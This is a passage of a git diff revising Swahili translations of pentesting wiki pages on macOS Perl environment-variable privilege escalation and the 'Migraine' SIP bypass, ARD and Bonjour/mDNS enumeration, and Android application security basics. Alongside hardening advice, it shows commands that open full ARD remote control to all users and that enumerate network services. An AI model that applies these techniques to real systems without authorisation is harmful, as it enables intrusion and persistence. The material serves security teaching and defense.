mabadiliko haya kuwa njia halali ya kupandisha mamlaka. +Ingawa `PERL5DB` inahitaji swichi `-d`, ni kawaida kukutana na scripts za matengenezo au installer ambazo zinafanywa kama *root* na bendera hii imewezeshwa kwa ajili ya kutatua matatizo kwa kina, na kufanya variable hii kuwa njia halali ya kupandisha mamlaka. ## Kupitia utegemezi (@INC abuse) @@ -66,10 +67,10 @@ Kwa mfano, ikiwa script inatumia **`use File::Basename;`** itakuwa inawezekana k ## SIP bypass kupitia Msaada wa Uhamiaji (CVE-2023-32369 “Migraine”) -Mnamo Mei 2023 Microsoft ilifunua **CVE-2023-32369**, iliyopewa jina la **Migraine**, mbinu ya baada ya unyakuzi inayomruhusu mshambuliaji wa *root* **kuzidi kabisa Ulinzi wa Uhakika wa Mfumo (SIP)**. +Mnamo Mei 2023 Microsoft ilifunua **CVE-2023-32369**, iliyopewa jina la **Migraine**, mbinu ya baada ya unyakuzi inayomruhusu mshambuliaji wa *root* **kuzidi kabisa Ulinzi wa Uhakika wa Mfumo (SIP)**. Sehemu iliyo hatarini ni **`systemmigrationd`**, daemon iliyopewa haki ya **`com.apple.rootless.install.heritable`**. Mchakato wowote wa mtoto unaozalishwa na daemon hii unapata haki hiyo na hivyo unafanya kazi **nje** ya vizuizi vya SIP. -Miongoni mwa watoto walioainishwa na watafiti ni mfasiri aliyeidhinishwa na Apple: +Kati ya watoto walioainishwa na watafiti ni mfasiri aliyetia saini na Apple: ``` /usr/bin/perl /usr/libexec/migrateLocalKDC … ``` @@ -87,8 +88,8 @@ Apple ilirekebisha tatizo katika macOS **Ventura 13.4**, **Monterey 12.6.6** na ## Mapendekezo ya kuimarisha -1. **Futa mabadiliko hatari** – launchdaemons zenye mamlaka au kazi za cron zinapaswa kuanza na mazingira safi (`launchctl unsetenv PERL5OPT`, `env -i`, nk.). -2. **Epuka kuendesha wakalimani kama root** isipokuwa ni lazima. Tumia binaries zilizokusanywa au punguza mamlaka mapema. +1. **Futa mabadiliko hatari** – launchdaemons au kazi za cron zenye mamlaka zinapaswa kuanza na mazingira safi (`launchctl unsetenv PERL5OPT`, `env -i`, nk.). +2. **Epuka kuendesha waandishi kama root** isipokuwa ni lazima. Tumia binaries zilizokusanywa au punguza mamlaka mapema. 3. **Scripts za muuzaji zikiwa na `-T` (hali ya uchafu)** ili Perl ipuuzie `PERL5OPT` na swichi nyingine zisizo salama wakati ukaguzi wa uchafu umewezeshwa. 4. **Hifadhi macOS kuwa wa kisasa** – “Migraine” imepatikana kikamilifu katika toleo la sasa. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md index a6873f953..31db96790 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md @@ -32,21 +32,21 @@ Ili kuwezesha ARD kwa kazi mbalimbali za kiutawala kama vile kupandisha hadhi, u ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` -ARD inatoa viwango tofauti vya udhibiti, ikiwa ni pamoja na ufuatiliaji, udhibiti wa pamoja, na udhibiti kamili, huku vikao vikidumu hata baada ya mabadiliko ya nenosiri la mtumiaji. Inaruhusu kutuma amri za Unix moja kwa moja, na kuzitekeleza kama root kwa watumiaji wa kiutawala. Ratiba za kazi na utafutaji wa Remote Spotlight ni vipengele vya kutambulika, vinavyorahisisha utafutaji wa mbali, wa athari ndogo kwa faili nyeti katika mashine nyingi. +ARD inatoa viwango tofauti vya udhibiti, ikiwa ni pamoja na ufuatiliaji, udhibiti wa pamoja, na udhibiti kamili, huku vikao vikidumu hata baada ya mabadiliko ya nenosiri la mtumiaji. Inaruhusu kutuma amri za Unix moja kwa moja, kuzitekeleza kama root kwa watumiaji wa kiutawala. Ratiba za kazi na utafutaji wa Remote Spotlight ni vipengele vya kutambulika, vinavyorahisisha utafutaji wa mbali, wa athari ndogo kwa faili nyeti katika mashine nyingi. #### Uthibitisho wa hivi karibuni wa Screen-Sharing / ARD (2023-2025) | Mwaka | CVE | Kipengele | Athari | Imefanyiwa marekebisho katika | |------|-----|-----------|--------|----------| -|2023|CVE-2023-42940|Screen Sharing|Uwasilishaji usio sahihi wa kikao unaweza kusababisha *desktop* au dirisha *sio sahihi* kuhamasishwa, na kusababisha uvujaji wa taarifa nyeti|macOS Sonoma 14.2.1 (Desemba 2023) | -|2024|CVE-2024-23296|launchservicesd / login|Kuvunjwa kwa ulinzi wa kumbukumbu ya kernel ambayo inaweza kuunganishwa baada ya kuingia kwa mbali kwa mafanikio (inatumika kwa nguvu katika mazingira ya kawaida)|macOS Ventura 13.6.4 / Sonoma 14.4 (Machi 2024) | +|2023|CVE-2023-42940|Screen Sharing|Uwasilishaji usio sahihi wa kikao unaweza kusababisha *desktop* au dirisha *sio sahihi* kuhamasishwa, na kusababisha uvujaji wa taarifa nyeti|macOS Sonoma 14.2.1 (Des 2023) | +|2024|CVE-2024-23296|launchservicesd / login|Kuvunja ulinzi wa kumbukumbu ya kernel ambayo inaweza kuunganishwa baada ya kuingia kwa mbali kwa mafanikio (inatumika kwa nguvu katika mazingira ya kawaida)|macOS Ventura 13.6.4 / Sonoma 14.4 (Mar 2024) | **Vidokezo vya kuimarisha** * Zima *Screen Sharing*/*Remote Management* wakati sio muhimu sana. * Hifadhi macOS ikiwa na sasisho kamili (Apple kwa ujumla huleta marekebisho ya usalama kwa toleo tatu kubwa za mwisho). * Tumia **Nenosiri Imara** *na* kulazimisha chaguo la *“VNC viewers may control screen with password”* **limezimwa** inapowezekana. -* Weka huduma hiyo nyuma ya VPN badala ya kuifichua TCP 5900/3283 kwa Mtandao. +* Weka huduma nyuma ya VPN badala ya kufichua TCP 5900/3283 kwa Mtandao. * Ongeza sheria ya Firewall ya Programu ili kupunguza `ARDAgent` kwa subnet ya ndani: ```bash @@ -66,15 +66,15 @@ Zero Configuration Networking, inayotolewa na Bonjour, inahakikisha kwamba vifaa - Kufanya **tafsiri ya jina hadi anwani** bila kuhitaji seva ya DNS. - **Gundua huduma** zinazopatikana kwenye mtandao. -Vifaa vinavyotumia Bonjour vitajipatia **anwani ya IP kutoka kwenye anuwai ya 169.254/16** na kuthibitisha upekee wake kwenye mtandao. Macs huhifadhi kipengele cha routing kwa subnet hii, kinachoweza kuthibitishwa kupitia `netstat -rn | grep 169`. +Vifaa vinavyotumia Bonjour vitajipatia **anwani ya IP kutoka kwenye anuwai ya 169.254/16** na kuthibitisha upekee wake kwenye mtandao. Macs huhifadhi kipengele cha jedwali la routing kwa subnet hii, kinachoweza kuthibitishwa kupitia `netstat -rn | grep 169`. Kwa DNS, Bonjour inatumia **protokali ya Multicast DNS (mDNS)**. mDNS inafanya kazi kupitia **bandari 5353/UDP**, ikitumia **maswali ya kawaida ya DNS** lakini ikilenga **anwani ya multicast 224.0.0.251**. Njia hii inahakikisha kwamba vifaa vyote vinavyosikiliza kwenye mtandao vinaweza kupokea na kujibu maswali, na kurahisisha sasisho la rekodi zao. -Pale kifaa kinapoungana na mtandao, kila kifaa kinajichagulia jina, ambacho kwa kawaida kinaishia na **.local**, ambacho kinaweza kutokana na jina la mwenyeji au kutengenezwa kwa bahati nasibu. +Pale kifaa kinapojiunga na mtandao, kila kifaa kinajichagulia jina, ambacho kwa kawaida kinaishia na **.local**, ambacho kinaweza kutokana na jina la mwenyeji au kutengenezwa kwa bahati nasibu. -Gundua huduma ndani ya mtandao inarahisishwa na **DNS Service Discovery (DNS-SD)**. Kwa kutumia muundo wa rekodi za DNS SRV, DNS-SD inatumia **rekodi za DNS PTR** kuwezesha orodha ya huduma nyingi. Mteja anayetafuta huduma maalum ataomba rekodi ya PTR kwa `.`, akipokea orodha ya rekodi za PTR zilizoundwa kama `..` ikiwa huduma inapatikana kutoka kwa mwenyeji wengi. +Gundua huduma ndani ya mtandao inarahisishwa na **DNS Service Discovery (DNS-SD)**. Kwa kutumia muundo wa rekodi za DNS SRV, DNS-SD inatumia **rekodi za DNS PTR** kuwezesha orodha ya huduma nyingi. Mteja anayepata huduma maalum atahitaji rekodi ya PTR kwa `.`, akipokea orodha ya rekodi za PTR zilizoundwa kama `..` ikiwa huduma inapatikana kutoka kwa mwenyeji wengi. -Zana ya `dns-sd` inaweza kutumika kwa **kugundua na kutangaza huduma za mtandao**. Hapa kuna baadhi ya mifano ya matumizi yake: +Zana ya `dns-sd` inaweza kutumika kwa **kugundua na kutangaza huduma za mtandao**. Hapa kuna mifano kadhaa ya matumizi yake: ### Kutafuta Huduma za SSH @@ -96,9 +96,9 @@ Ili kutafuta huduma za HTTP kwenye mtandao: ```bash dns-sd -B _http._tcp ``` -Wakati huduma inaanza, inatangaza upatikanaji wake kwa vifaa vyote kwenye subnet kwa kutangaza uwepo wake. Vifaa vinavyovutiwa na huduma hizi havihitaji kutuma maombi bali vinahitaji kusikiliza matangazo haya. +Wakati huduma inaanza, inatangaza upatikanaji wake kwa vifaa vyote kwenye subnet kwa kutangaza uwepo wake. Vifaa vinavyovutiwa na huduma hizi havihitaji kutuma maombi bali vinapaswa kusikiliza matangazo haya. -Kwa kiolesura kinachofaa kwa mtumiaji, programu ya **Discovery - DNS-SD Browser** inayopatikana kwenye Apple App Store inaweza kuonyesha huduma zinazotolewa kwenye mtandao wako wa ndani. +Kwa kiolesura kinachofaa zaidi kwa mtumiaji, programu ya **Discovery - DNS-SD Browser** inayopatikana kwenye Apple App Store inaweza kuonyesha huduma zinazotolewa kwenye mtandao wako wa ndani. Vinginevyo, skripti maalum zinaweza kuandikwa ili kuvinjari na kugundua huduma kwa kutumia maktaba ya `python-zeroconf`. Skripti ya [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) inaonyesha jinsi ya kuunda kivinjari cha huduma kwa huduma za `_http._tcp.local.`, ikichapisha huduma zilizoongezwa au kuondolewa: ```python @@ -129,7 +129,7 @@ zeroconf.close() nmap -sU -p 5353 --script=dns-service-discovery ``` -Script ya `dns-service-discovery` inatuma ombi la `_services._dns-sd._udp.local` kisha inakuorodhesha kila aina ya huduma iliyotangazwa. +Script ya `dns-service-discovery` inatuma swali la `_services._dns-sd._udp.local` kisha inakuorodhesha kila aina ya huduma iliyotangazwa. * **mdns_recon** – Zana ya Python inayoskania maeneo yote kutafuta *maktaba* za mDNS ambazo zinajibu maswali ya unicast (inasaidia kupata vifaa vinavyoweza kufikiwa kupitia subnets/WAN): @@ -149,7 +149,7 @@ Hii itarudisha mwenyeji wanaoonyesha SSH kupitia Bonjour nje ya kiungo cha ndani **Mwongozo wa kupunguza hatari** -1. Punguza UDP 5353 kwa *muktadha wa kiungo-lokali* – zuia au punguza kiwango chake kwenye wasimamizi wa wireless, route, na firewalls za mwenyeji. +1. Punguza UDP 5353 kwa *muktadha wa kiungo* – zuia au punguza kiwango chake kwenye wasimamizi wa wireless, route, na firewalls za mwenyeji. 2. Zima Bonjour kabisa kwenye mifumo ambayo haitaji kugundua huduma: ```bash diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 6f42bb4ad..c1e52aecd 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -15,17 +15,17 @@ ### Kushiriki UID -**Programu mbili zinaweza kuwekewa mipangilio kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki taarifa, lakini ikiwa moja yao itashambuliwa, data za programu zote mbili zitakuwa hatarini. Hii ndiyo sababu tabia hii inachukuliwa **kama si nzuri**.\ +**Programu mbili zinaweza kuwekewa mipangilio kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki taarifa, lakini ikiwa moja yao itashambuliwa, data za programu zote mbili zitakuwa hatarini. Hii ndiyo sababu tabia hii inashauriwa **kuepukwa**.\ **Ili kushiriki UID sawa, programu lazima iwe na thamani sawa ya `android:sharedUserId` katika hati zao.** ### Sandboxing -**Sanduku la Programu za Android** linaruhusu kuendesha **kila programu** kama **mchakato tofauti chini ya Kitambulisho tofauti cha Mtumiaji**. Kila mchakato una mashine yake ya virtual, hivyo msimbo wa programu unafanya kazi kwa kujitenga na programu nyingine.\ +**Android Application Sandbox** inaruhusu kuendesha **kila programu** kama **mchakato tofauti chini ya Kitambulisho tofauti cha mtumiaji**. Kila mchakato una mashine yake ya virtual, hivyo msimbo wa programu unafanya kazi kwa kujitenga na programu nyingine.\ Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wote wa mchakato na kisha kuunda sera za **kuruhusu tu mwingiliano unaotarajiwa kati yao**. ### Ruhusa -Unapoweka **programu na inahitaji ruhusa**, programu inahitaji ruhusa zilizowekwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya **attribute** ya **jina**. Pia ina **maxSdkVersion** ambayo inazuia kuomba ruhusa kwenye toleo lililo juu ya lile lililotajwa.\ +Wakati unaposakinisha **programu na inahitaji ruhusa**, programu inahitaji ruhusa zilizowekwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya **attribute** ya **jina**. Pia ina **maxSdkVersion** ambayo inazuia kuomba ruhusa kwenye toleo lililo juu ya lile lililotajwa.\ Kumbuka kwamba programu za android hazihitaji kuomba ruhusa zote mwanzoni, zinaweza pia **kuomba ruhusa kwa njia ya kidinamik** lakini ruhusa zote lazima **zitangazwe** katika **manifest**. Wakati programu inatoa kazi inaweza kupunguza **ufikiaji kwa programu tu ambazo zina ruhusa maalum**.\ @@ -41,36 +41,36 @@ Kipengele cha ruhusa kina attributes tatu: ## Programu Zilizowekwa Kabla -Programu hizi kwa kawaida hupatikana katika **`/system/app`** au **`/system/priv-app`** na baadhi yao zime **boreshwa** (huenda usipate hata faili ya `classes.dex`). Programu hizi zinastahili kuangaliwa kwa sababu wakati mwingine zina **endesha na ruhusa nyingi sana** (kama root). +Programu hizi kwa kawaida hupatikana katika **`/system/app`** au **`/system/priv-app`** na baadhi yao zime **boreshwa** (huenda usipate hata faili ya `classes.dex`). Programu hizi zinastahili kuangaliwa kwa sababu wakati mwingine zinaweza kuwa **zinakimbia na ruhusa nyingi sana** (kama root). -- Zile zinazokuja na **AOSP** (Mradi wa Msource wa Android) **ROM** +- Zile zinazokuja na **AOSP** (Android OpenSource Project) **ROM** - Zilizoongezwa na **mtengenezaji** wa kifaa - Zilizoongezwa na **mtoa huduma wa simu** (ikiwa imenunuliwa kutoka kwao) ## Rooting -Ili kupata ufikiaji wa root kwenye kifaa halisi cha android kwa kawaida unahitaji **kuchokoza** 1 au 2 **mapungufu** ambayo huwa **maalum** kwa **kifaa** na **toleo**.\ -Mara baada ya kuchokoza kufanya kazi, kwa kawaida faili ya `su` ya Linux inakopishwa kwenye eneo lililotajwa katika mabadiliko ya PATH ya mtumiaji kama `/system/xbin`. +Ili kupata ufikiaji wa root kwenye kifaa halisi cha android kwa kawaida unahitaji **kufanya matumizi** ya udhaifu 1 au 2 ambayo huwa **maalum** kwa **kifaa** na **toleo**.\ +Mara tu udhaifu umefanikiwa, kwa kawaida faili ya `su` ya Linux inakopishwa kwenye eneo lililotajwa katika mabadiliko ya PATH ya mtumiaji kama `/system/xbin`. -Mara baada ya faili ya su kuwekwa, programu nyingine ya Android inatumika kuungana na faili ya `su` na **kusindika maombi ya ufikiaji wa root** kama **Superuser** na **SuperSU** (inapatikana kwenye duka la Google Play). +Mara tu faili ya su inapoanzishwa, programu nyingine ya Android inatumika kuungana na faili ya `su` na **kusindika maombi ya ufikiaji wa root** kama **Superuser** na **SuperSU** (inapatikana kwenye Google Play store). > [!CAUTION] -> Kumbuka kwamba mchakato wa rooting ni hatari sana na unaweza kuharibu kifaa vibaya +> Kumbuka kwamba mchakato wa rooting ni hatari sana na unaweza kuharibu kifaa vibaya. ### ROMs Inawezekana **kurekebisha OS kwa kusakinisha firmware maalum**. Kufanya hivi kunawezesha kuongeza matumizi ya kifaa cha zamani, kupita vizuizi vya programu au kupata ufikiaji wa msimbo wa hivi punde wa Android.\ **OmniROM** na **LineageOS** ni mbili ya firmware maarufu zaidi za kutumia. -Kumbuka kwamba **sio kila wakati ni lazima ku-root kifaa** ili kusakinisha firmware maalum. **Wazalishaji wengine wanaruhusu** kufungua bootloaders zao kwa njia iliyoandikwa vizuri na salama. +Kumbuka kwamba **sio kila wakati ni lazima ku-root kifaa** ili kusakinisha firmware maalum. **Wakati mwingine watengenezaji wanaruhusu** kufungua bootloaders zao kwa njia iliyoandikwa vizuri na salama. ### Matokeo -Mara kifaa kinapokuwa kime-rooted, programu yoyote inaweza kuomba ufikiaji kama root. Ikiwa programu mbaya itapata hiyo, itakuwa na ufikiaji wa karibu kila kitu na itakuwa na uwezo wa kuharibu simu. +Mara tu kifaa kikiwa kime-rooted, programu yoyote inaweza kuomba ufikiaji kama root. Ikiwa programu mbaya itapata ufikiaji huo, inaweza kuwa na ufikiaji wa karibu kila kitu na itakuwa na uwezo wa kuharibu simu. ## Msingi wa Programu za Android -- Muundo wa programu za Android unarejelewa kama _muundo wa faili la APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha kiendelezi cha faili kuwa .zip, maudhui yanaweza kutolewa na kuangaliwa). +- Muundo wa programu za Android unarejelewa kama _APK file format_. Kimsingi ni **ZIP file** (kwa kubadilisha kiambatisho cha faili kuwa .zip, maudhui yanaweza kutolewa na kuangaliwa). - Maudhui ya APK (Siyo ya kina) - **AndroidManifest.xml** - resources.arsc/strings.xml @@ -99,7 +99,7 @@ Kwa ajili ya uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza ku ## Intents -Intents ndiyo njia kuu ambayo programu za Android zinawasiliana kati ya vipengele vyake au na programu nyingine. Hizi ni vitu vya ujumbe vinaweza pia kubeba data kati ya programu au vipengele, sawa na jinsi maombi ya GET/POST yanavyotumika katika mawasiliano ya HTTP. +Intents ndiyo njia kuu ambayo programu za Android zinawasiliana kati ya vipengele vyake au na programu nyingine. Hizi ni vitu vya ujumbe pia vinaweza kubeba data kati ya programu au vipengele, sawa na jinsi maombi ya GET/POST yanavyotumika katika mawasiliano ya HTTP. Hivyo, Intent kimsingi ni **ujumbe unaopita kati ya vipengele**. Intents **zinaweza kuelekezwa** kwa vipengele maalum au programu, **au zinaweza kutumwa bila mpokeaji maalum**.\ Ili kuwa rahisi, Intent inaweza kutumika: @@ -110,17 +110,17 @@ Ili kuwa rahisi, Intent inaweza kutumika: - Kufikia data kupitia ContentProviders - Kama kurudi nyuma kushughulikia matukio -Ikiwa ni hatari, **Intents zinaweza kutumika kufanya mashambulizi mbalimbali**. +Ikiwa kuna udhaifu, **Intents zinaweza kutumika kufanya mashambulizi mbalimbali**. -### Kichujio cha Intent +### Filter ya Intent -**Kichujio cha Intents** kinaelezea **jinsi shughuli, huduma, au Mpokeaji wa Matangazo unaweza kuingiliana na aina tofauti za Intents**. Kimsingi, zinaelezea uwezo wa vipengele hivi, kama vile ni vitendo gani wanaweza kufanya au aina gani za matangazo wanaweza kushughulikia. Mahali kuu pa kutangaza vichujio hivi ni ndani ya **faili ya AndroidManifest.xml**, ingawa kwa Mpokeaji wa Matangazo, kuandika ni chaguo pia. +**Filter za Intent** zinaelezea **jinsi shughuli, huduma, au Mpokeaji wa Matangazo unaweza kuingiliana na aina tofauti za Intents**. Kimsingi, zinaelezea uwezo wa vipengele hivi, kama vile ni vitendo gani wanaweza kufanya au aina gani za matangazo wanaweza kushughulikia. Mahali kuu pa kutangaza filters hizi ni ndani ya **faili ya AndroidManifest.xml**, ingawa kwa Mpokeaji wa Matangazo, kuandika hizo pia ni chaguo. -Vichujio vya Intents vinajumuisha makundi, vitendo, na vichujio vya data, huku kukiwa na uwezekano wa kujumuisha metadata ya ziada. Mpangilio huu unaruhusu vipengele kushughulikia Intents maalum zinazolingana na vigezo vilivyotangazwa. +Filter za Intent zinajumuisha makundi, vitendo, na filters za data, huku kukiwa na uwezekano wa kujumuisha metadata ya ziada. Mpangilio huu unaruhusu vipengele kushughulikia Intents maalum zinazolingana na vigezo vilivyotangazwa. -Nafasi muhimu ya vipengele vya Android (shughuli/huduma/watoa maudhui/mpokeaji wa matangazo) ni mwonekano wao au **hadhi ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa kime **`exported`** na thamani ya **`true`** au ikiwa kichujio cha Intent kimewekwa kwa ajili yake katika hati. Hata hivyo, kuna njia kwa waendelezaji kuweka vipengele hivi kuwa binafsi, kuhakikisha havihusiani na programu nyingine bila kukusudia. Hii inafanywa kwa kuweka **`exported`** attribute kuwa **`false`** katika tafsiri zao za hati. +Nukta muhimu ya vipengele vya Android (shughuli/huduma/watoa maudhui/mpokeaji wa matangazo) ni mwonekano wao au **hadhi ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa kime **`exported`** na thamani ya **`true`** au ikiwa filter ya Intent imetangazwa kwa ajili yake katika manifest. Hata hivyo, kuna njia kwa waendelezaji kuweka vipengele hivi kuwa binafsi, kuhakikisha havihusiani na programu nyingine bila kukusudia. Hii inafanywa kwa kuweka **attribute ya `exported`** kuwa **`false`** katika tafsiri zao za manifest. -Zaidi ya hayo, waendelezaji wana chaguo la kuimarisha ufikiaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. **`permission`** attribute inaweza kuwekwa ili kuhakikisha kwamba ni programu tu zenye ruhusa iliyotolewa zinaweza kufikia kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya nani anaweza kuingiliana nayo. +Zaidi ya hayo, waendelezaji wana chaguo la kuimarisha ufikiaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. **Attribute ya `permission`** inaweza kuwekwa ili kuhakikisha kwamba ni programu tu zenye ruhusa iliyotengwa zinaweza kufikia kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya nani anaweza kuingiliana nayo. ```java @@ -143,17 +143,17 @@ Nia hii inapaswa kutangazwa ndani ya hati kama katika mfano ufuatao: ``` -An intent-filter inahitaji kuendana na **action**, **data** na **category** ili kupokea ujumbe. +An intent-filter needs to match the **action**, **data** and **category** to receive a message. -Mchakato wa "Intent resolution" unamua ni programu ipi itakayopokea kila ujumbe. Mchakato huu unazingatia **priority attribute**, ambayo inaweza kuwekwa katika **intent-filter declaration**, na **ile yenye kipaumbele cha juu itachaguliwa**. Kipaumbele hiki kinaweza kuwekwa kati ya -1000 na 1000 na programu zinaweza kutumia thamani ya `SYSTEM_HIGH_PRIORITY`. Ikiwa **conflict** itatokea, Dirisha la "choser" linaonekana ili **mtumiaji aweze kuamua**. +The "Intent resolution" process determine which app should receive each message. This process considers the **priority attribute**, which can be set in the i**ntent-filter declaration**, and t**he one with the higher priority will be selected**. This priority can be set between -1000 and 1000 and applications can use the `SYSTEM_HIGH_PRIORITY` value. If a **conflict** arises, a "choser" Window appears so the **user can decide**. ### Explicit Intents -Explicit intent inabainisha jina la darasa ambalo linawalenga: +An explicit intent specifies the class name it's targeting: ```java Intent downloadIntent = new (this, DownloadService.class): ``` -Katika programu nyingine ili kufikia nia iliyotangazwa hapo awali unaweza kutumia: +Katika programu nyingine ili kufikia nia iliyotangazwa awali unaweza kutumia: ```java Intent intent = new Intent(); intent.setClassName("com.other.app", "com.other.app.ServiceName"); @@ -167,17 +167,17 @@ Hizi zinawaruhusu programu nyingine **kuchukua hatua kwa niaba ya programu yako* Tofauti na intents za awali, ambazo zinapokelewa na programu moja tu, broadcast intents **zinaweza kupokelewa na programu nyingi**. Hata hivyo, kuanzia toleo la API 14, ni **mpossible kuweka programu ambayo inapaswa kupokea** ujumbe kwa kutumia Intent.setPackage. -Vinginevyo, pia inawezekana **kueleza ruhusa wakati wa kutuma broadcast**. Programu inayopokea itahitaji kuwa na ruhusa hiyo. +Vinginevyo, pia inawezekana **kueleza ruhusa wakati wa kutuma matangazo**. Programu inayopokea itahitaji kuwa na ruhusa hiyo. -Kuna **aina mbili** za Broadcasts: **Kawaida** (asynchronous) na **Iliyopangwa** (synchronous). **Agizo** linategemea **kipaumbele kilichowekwa ndani ya kipengele cha mpokeaji**. **Kila programu inaweza kushughulikia, kupeleka au kuacha Broadcast.** +Kuna **aina mbili** za Matangazo: **Ya Kawaida** (asynchronous) na **Iliyopangwa** (synchronous). **Agizo** linategemea **kipaumbele kilichowekwa ndani ya kipengele cha mpokeaji**. **Kila programu inaweza kushughulikia, kupeleka au kuacha Matangazo.** -Inawezekana **kutuma** **broadcast** kwa kutumia kazi `sendBroadcast(intent, receiverPermission)` kutoka darasa la `Context`.\ +Inawezekana **kutuma** **matangazo** kwa kutumia kazi `sendBroadcast(intent, receiverPermission)` kutoka darasa la `Context`.\ Unaweza pia kutumia kazi **`sendBroadcast`** kutoka **`LocalBroadCastManager`** inahakikisha **ujumbe hauondoki kwenye programu**. Kwa kutumia hii hutahitaji hata kusafirisha kipengele cha mpokeaji. ### Sticky Broadcasts -Aina hii ya Broadcasts **inaweza kufikiwa muda mrefu baada ya kutumwa**.\ -Hizi zilikataliwa katika kiwango cha API 21 na inashauriwa **usizitumie**.\ +Aina hii ya Matangazo **inaweza kufikiwa muda mrefu baada ya kutumwa**.\ +Hizi ziliondolewa katika kiwango cha API 21 na inashauriwa **usizitumie**.\ **Zinawaruhusu programu yoyote kunusa data, lakini pia kuibadilisha.** Ikiwa unapata kazi zinazojumuisha neno "sticky" kama **`sendStickyBroadcast`** au **`sendStickyBroadcastAsUser`**, **angalia athari na jaribu kuziondoa**. @@ -217,7 +217,7 @@ Jifunze jinsi ya [kuita deep links bila kutumia kurasa za HTML](#exploiting-sche ## AIDL - Android Interface Definition Language -**Android Interface Definition Language (AIDL)** imeundwa ili kuwezesha mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa upatikanaji wa kumbukumbu ya mchakato mwingine moja kwa moja haukubaliki kwenye Android, AIDL inarahisisha mchakato kwa kuhamasisha vitu katika muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti. +**Android Interface Definition Language (AIDL)** imeundwa ili kuwezesha mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano ya kati ya michakato** (IPC). Kwa kuwa upatikanaji wa kumbukumbu ya mchakato mwingine moja kwa moja haukubaliki kwenye Android, AIDL inarahisisha mchakato kwa kuhamasisha vitu katika muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti. ### Mifano Muhimu @@ -229,7 +229,7 @@ Jifunze jinsi ya [kuita deep links bila kutumia kurasa za HTML](#exploiting-sche ## Vipengele -Hivi ni pamoja na: **Shughuli, Huduma, Vastika za Matangazo na Watoa huduma.** +Hizi ni pamoja na: **Shughuli, Huduma, Vastika za Matangazo na Watoa huduma.** ### Shughuli ya Kuanza na shughuli nyingine @@ -276,7 +276,7 @@ super.onCreate(); [Services](https://developer.android.com/guide/components/services) ni **operatives za nyuma** zinazoweza kutekeleza kazi bila kiolesura cha mtumiaji. Kazi hizi zinaweza kuendelea kukimbia hata watumiaji wanapobadilisha programu, na kufanya huduma kuwa muhimu kwa **operesheni za muda mrefu**. -Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, huku **Intents** ikiwa njia kuu ya kuzindua huduma kama kiingilio cha programu. Mara huduma inapozinduliwa kwa kutumia njia ya `startService`, njia yake ya `onStart` inaanza kufanya kazi na inaendelea kukimbia hadi njia ya `stopService` itakapoitwa wazi. Vinginevyo, ikiwa jukumu la huduma linategemea muunganisho wa mteja hai, njia ya `bindService` inatumika kuunganisha mteja na huduma, ikihusisha njia ya `onBind` kwa ajili ya kupitisha data. +Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, huku **Intents** ikiwa njia kuu ya kuzindua huduma kama kiingilio cha programu. Mara huduma inapozinduliwa kwa kutumia njia ya `startService`, njia yake ya `onStart` inaanza kufanya kazi na inaendelea kukimbia hadi njia ya `stopService` itakapoitwa wazi. Vinginevyo, ikiwa jukumu la huduma linategemea muunganisho wa mteja ulio hai, njia ya `bindService` inatumika kuunganisha mteja na huduma, ikihusisha njia ya `onBind` kwa ajili ya kupitisha data. Matumizi ya kuvutia ya huduma ni pamoja na upigaji muziki wa nyuma au upataji wa data ya mtandao bila kuingilia mwingiliano wa mtumiaji na programu. Zaidi ya hayo, huduma zinaweza kufanywa kupatikana kwa michakato mingine kwenye kifaa hicho hicho kupitia **exporting**. Hii si tabia ya kawaida na inahitaji usanidi wazi katika faili ya Android Manifest: ```xml @@ -323,12 +323,12 @@ Kwa maelezo zaidi angalia: ## WebViews -WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta maudhui kutoka kwenye wavuti au kutoka kwenye faili za ndani. Vinakabiliwa na hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **mipangilio** maalum. +WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta maudhui ama kutoka kwenye wavuti au kutoka kwenye faili za ndani. Vinakabiliwa na hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **mipangilio** maalum. Android inatoa aina mbili kuu za WebView: - **WebViewClient** ni mzuri kwa HTML ya msingi lakini haisaidii kazi ya arifa ya JavaScript, ikihusisha jinsi 